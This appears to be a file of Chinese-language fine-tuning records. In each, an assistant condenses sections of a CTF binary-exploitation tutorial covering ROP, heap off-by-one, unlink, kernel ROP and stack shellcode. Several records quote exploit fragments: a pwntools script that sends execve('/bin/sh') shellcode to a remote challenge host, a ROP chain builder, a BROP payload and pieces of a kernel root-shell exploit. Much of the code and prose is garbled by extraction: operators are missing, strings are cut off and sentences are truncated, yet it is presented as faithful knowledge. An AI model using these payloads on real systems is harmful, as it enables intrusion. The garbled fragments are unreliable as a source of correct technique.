{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e0e0bd049360155b1537", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- from pwn import * context.binary = \"./pwn\" context.log_level = \"debug\"\n- if sys.argv[1] == \"l\": io = process([\"qemu-aarch64\", \"-L\", \"/usr/aarch64-linux-gnu\", \"./pwn\"]) elif sys.argv[1] == \"d\": io = process([\"qemu-aarch64\", \"-g\", \"1234\", \"-L\", \"/usr/aarch64-linux-gnu\", \"./pwn\"]) else: io = remote(\"106.75.126.171\", 33865)\n- def csu_rop(call, x0, x1, x2): payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call) payload += flat(x2, x1, x0) payload += '22222222' return payload\n- if __name__ == \"__main__\": elf = ELF(\"./pwn\", checksec = False) padding = asm('mov x0, x0')\n- sc = asm(shellcraft.execve(\"/bin/sh\")) # print disasm(padding 0x10 + sc) io.sendafter(\"Name:\", padding 0x10 + sc) sleep(0.01)\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1212, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-ae07b959a71d5ebad6c9", "original_line": 61, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "af38bfe5833b900d57bf194b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e0e6134efae0289d5e1f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > 例题：强网杯2018 - core > Exploit\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Exploit”展开。\n- } void get_root_shell(void) { if(getuid()) { log_error(\"[x] Failed to get the root!\n- if(fd < 0) { log_error(\"[x] Failed to open the /proc/core !\n- if(ksyms_file == NULL) { log_error(\"[x] Failed to open the sym_table file!\n- / reading canary value / log_info(\"[] Reading value of kernel stack canary...\");\n- printf(SUCCESS_MSG(\"[+] Got kernel stack canary: \") \"%lx\\n\", canary);\n\n关键术语：\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 152 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4225, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Exploit", "heading_path": ["Kernel ROP", "例题：强网杯2018 - core", "Exploit"], "original_id": "docs-2ad2e775b28502172504", "original_line": 826, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "68c01c38ae5222fe92c57343", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e138956027d39e277c20", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「Cross-Cache Overflow」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > Cross-Cache Overflow\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 与我们此前一直关注于 slub allocator 的各种利用手法不同，Cross-Cache Overflow 实际上是针对 buddy system 的利用手法，其主要基于如下思路： - slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者。\n- 若我们的漏洞对象存在于页面 A，溢出目标对象存在于页面 B，且 A、B两页面相邻，则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出。\n- 文件: figure/cross-cache-overflow.png] Cross-Cache Overflow 打破了不同 kmem\\_cache 之间的阻碍，可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写。\n- 但这需要达成非常严苛的页级堆排布，而内核的堆页面布局对我们而言通常是未知的，因此我们需要想办法将其变为已知的内存布局，这就需要页级堆风水——\n- [图片: cross-cache overflow.png;\n- 内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 510, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Cross-Cache Overflow", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "Cross-Cache Overflow"], "original_id": "docs-d5deab01b88c30230fec", "original_line": 729, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "f140372f6e90b641958b8d1b", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e186d11ed3a8912af0dc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“construct rop chain”展开。\n- __libc_start_main@@GLIBC_2.0 LOAD:080482E4 dw 2 ;\n- ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- } ` 通过动态调试，我们可以发现 l_versions 的起始地址，并且其中一共有 3 个元素。\n- 因此，我们只需要将 base_stage 增加 (0x080487C2-0x080487A8)/20x10，即可达到对应的目的。\n- 与此同，根据上面的调试信息，可以知道 l_versions 的前两个元素中的 hash 值都为 0，因此如果我们使得 ndx 为 0 或者 1 时，就可以满足要求，我们来在 080487A8 下方找一个合适的值。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `那我们可以再次运行看一下伪造后 ndx 具体的值`\n- plain: 1 行，首行 `可以发现，ndx_落入了 `.eh_frame` 节中。`\n- plain: 1 行，首行 `进一步地，ndx 的值为 0x442C。显然不知道会索引到哪里去。`\n- plain: 1 行，首行 `通过动态调试，我们可以发现 l_versions 的起始地址，并且其中一共有 3 个元素。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4267, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "construct rop chain", "heading_path": ["construct rop chain"], "original_id": "docs-4484e4d57e28c77f71aa", "original_line": 1323, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "1c364db1b50286d939c9e4a5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e29a8d004dbfd70381ba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找puts@plt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找输出函数 > 寻找puts@plt\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找puts@plt”展开。\n- 寻找puts函数(这里我们寻找的是 plt)，我们自然需要控制rdi参数，在上面，我们已经找到了brop gadget。\n- 那么，我们根据brop gadget偏移9可以得到相应的gadgets（由ret2libc_csu_init中后续可得）。\n- 一般来说，其payload如下 `` payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget) ``\n- 同时在程序还没有开启PIE保护的情况下，0x400000处为ELF文件的头部，其内容为\\x7fELF。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 292, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "寻找puts@plt", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "寻找输出函数", "寻找puts@plt"], "original_id": "docs-4d65c8a47a7349ca6af1", "original_line": 1291, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "985304a6460e8afed9fde0b6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e30487c55aef062e79a2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「泄漏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > 泄漏\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 这样当 0x555555756060～0x555555756068 写入 book 指针时就会覆盖掉结束符 '\\x00' ，所以这里是存在一个地址泄漏的漏洞。\n- 之后我们创建 book1 ，这个 book1 的指针会覆盖 author name 中最后的 NULL 字节，使得该指针与 author name 直接连接，这样输出 author name 则可以获取到一个堆指针。\n- 通过打印 author name 就可以获得 pointer array 中第一项的值。\n- `` 0x555555756040: 0x6161616161616161 0x6161616161616161 0x555555756050: 0x6161616161616161 0x6161616161616161 <== author name 0x555555756060: 0x0000555555757480 <== pointer array 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x55...\n- 因为程序中的 my_read 函数存在 null byte off-by-one ，事实上 my_read 读入的结束符 '\\x00' 是写入到 0x555555756060 的位置的。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 5 行，首行 `0x555555756040: 0x6161616161616161 0x6161616161616161`\n- plain: 19 行，首行 `io.recvuntil('Enter author name:') # input author name`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1308, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄漏", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "利用", "泄漏"], "original_id": "docs-ded2c0ac3b9faf044447", "original_line": 1017, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "12074bec324516a04c11f50e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e3a2f25b4083ed3d66b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「系统调用 与 pt\\_regs 结构体」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > 系统调用 与 pt\\_regs 结构体\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“系统调用 与 pt\\_regs 结构体”展开。\n- 现在让我们将目光放到 entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将所有的寄存器压入内核栈上，形成一个 pt_regs 结构体，该结构体实质上位于内核栈底，定义如下： ``c struct pt_regs { / C ABI says these regs are callee-preserved.\n- / top of stack page / };\n- 或许不少人都能够答得上来是由我们在用户态布置好相应的参数后执行 syscall 这一汇编指令，通过门结构进入到内核中的 entry_SYSCALL_64这一函数，随后通过系统调用表跳转到对应的函数。\n- They aren't saved on kernel entry unless syscall needs a complete, fully filled \"struct pt_regs\". / unsigned long r15;\n- Always saved on kernel entry. / unsigned long r11;\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 34 行，首行 `struct pt_regs {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1171, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "系统调用 与 pt\\_regs 结构体", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "系统调用 与 pt\\_regs 结构体"], "original_id": "docs-ebacacca54b99ab6d984", "original_line": 808, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "05df4faf396bad1fd82ca69f", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e3d178cc447da0702272", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > 2017 insomni'hack wheelofrobots > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 读取的长度是 5 个字节，恰好覆盖了 bender_inuse 的最低字节，即构成了 off-by-one 漏洞。\n- 综上分析，我们可以知道的是，该程序主要存在的漏洞 off-by-one 与整数溢出。\n- 这里我们主要使用前面的off-by-one 漏洞。\n- 时就可能导致 20v5 溢出，但与此同时， destructor_size = v5 仍然会很大。\n- 大概分析程序，可以得知，这是一个配置机器人轮子的游戏，机器人一共需要添加 3 个轮子。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 694, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["get shell", "2017 insomni'hack wheelofrobots", "基本功能"], "original_id": "docs-d030d973a61443453d42", "original_line": 1089, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "be13202a5a88a354ddcf504b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e43c86d7c6f7b78b9faa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「基本功能分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 2016 Seccon tinypad > 基本功能分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能分析”展开。\n- 首先，可以看出，程序以来一个核心的读取函数，即读取指定长度字节的字符串，然而，当读取的长度恰好为指定的长度时，会出现 off by one 的漏洞。\n- 通过分析程序，我们不难看出，这个程序的基本功能是操作一个 tinypad，主要有以下操作 - 开头，程序每次开头依次判断每个 memo 的指针来判断是否为空，如果不为空，进而利用 strlen 求得其相应的长度，将 memo 的内容输出。\n- 在编辑时，程序首先根据之前存储的 memo 的内容将其拷贝到 tinypad 的前 256 个字节中，但正如我们之前所说的，当 memo 存储了 256 个字节时，就会存在 off by one漏洞。\n- 与此同时，程序利用 strlen 判断复制之后的 tinypad 的内容长度，并将其输出。\n- 之后程序继续利用 strlen 求得 memo 的长度，并读取指定长度内容到 tinypad 中，根据读取函数，这里必然出现了 \\x00。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 965, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本功能分析", "heading_path": ["House Of Einherjar", "2016 Seccon tinypad", "基本功能分析"], "original_id": "docs-0b19ccc0d98af7bd522e", "original_line": 974, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "0cc42d16f8b4eaf50f1918c4", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e516031c813da0128918", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md`\n标题：执行 Shellcode\n章节：执行 Shellcode > 介绍\n路径分类：pwn / pwn/windows/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- shellcode 是一段用于利用软件漏洞而执行的代码，shellcode 为16进制之机械码，以其经常让攻击者获得 shell 而得名。\n- 可在暂存器 eip 溢出后，塞入一段可让 CPU 执行的 shellcode 机械码，让电脑可以执行攻击者的任意指令。\n- 在编译时关闭 ASLR、NX 、CANARY 选项，这样就可以在输入时把 shellcode 布置在栈中，通过动态调试获得所需要的 padding 溢出到返回地址为输入的 shellcode 地址，这样程序返回后便会执行 shellcode。\n- 文件: ./figure/demo2-1.png]\n\n关键术语：\n- 边界/溢出\n- 栈\n- 漏洞利用\n- pwn\n- windows\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 310, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["执行 Shellcode", "介绍"], "original_id": "docs-15a24f2595f81dba9e20", "original_line": 1467, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md", "source_root": "docs", "source_sha256": "0f5ac88152f1d1d4c5e110cc24311b806c5c0eccb89b90fdbbbac1eda83c0ac4", "split": "train", "split_group_key": "c7a1c51a26e155539b29d04d", "subcategory": "pwn/windows/user-mode", "terms": ["边界/溢出", "栈", "漏洞利用", "pwn", "windows", "user-mode", "stackoverflow"], "title": "执行 Shellcode"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md", "split": "train", "type": "ctf_lora_sft"}
